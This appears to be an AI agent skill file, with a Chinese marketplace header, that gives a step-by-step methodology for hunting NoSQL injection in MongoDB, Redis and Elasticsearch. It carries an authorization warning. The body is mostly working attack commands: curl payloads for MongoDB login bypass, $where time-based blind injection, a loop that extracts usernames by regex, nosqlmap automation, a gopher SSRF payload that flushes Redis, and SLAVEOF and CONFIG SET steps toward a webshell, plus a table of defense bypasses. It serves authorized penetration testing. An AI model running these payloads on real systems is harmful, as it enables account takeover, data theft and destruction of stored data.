技能 NoSQL注入狩猎

NoSQL注入狩猎

v20260927
hunt-nosqli
指导授权安全测试人员识别并利用 MongoDB、Redis、Elasticsearch 中的 NoSQL 注入漏洞,涵盖认证绕过、盲注、数据提取及 nosqlmap 自动化测试。
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概览

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass — {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection — if $where is enabled: blind injection → data exfil
  • Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal Vector
MongoDB error messages in response Operator injection
mongoose / monk in JS bundles ODM patterns
X-Powered-By: Express Node.js + MongoDB common stack
CouchDB/_utils UI exposed Futon/Fauxton admin
Redis port 6379 open (via SSRF) CONFIG SET / SLAVEOF
Elasticsearch :9200 open Script injection

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b — Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

Defense Bypass
JSON.parse rejects objects Use array: password[$ne]=x (URL params)
Sanitizes $ Unicode: $gt
Blocks operator keys Nested objects deeper in structure

Chain Table

NoSQLi finding Chain to Impact
Auth bypass Admin panel access Full admin control
User enum via regex Credential stuffing Mass ATO
$where enabled Arbitrary JS in DB process Data exfil or DoS
Redis via SSRF CONFIG SET / SLAVEOF Webshell or data exfil

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

  • Auth bypass as admin: Critical
  • User collection dump: High
  • Blind injection (no useful exfil): Medium

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

信息
Category 未分类
Name hunt-nosqli
版本 v20260927
大小 7.78KB
更新时间 2026-09-28
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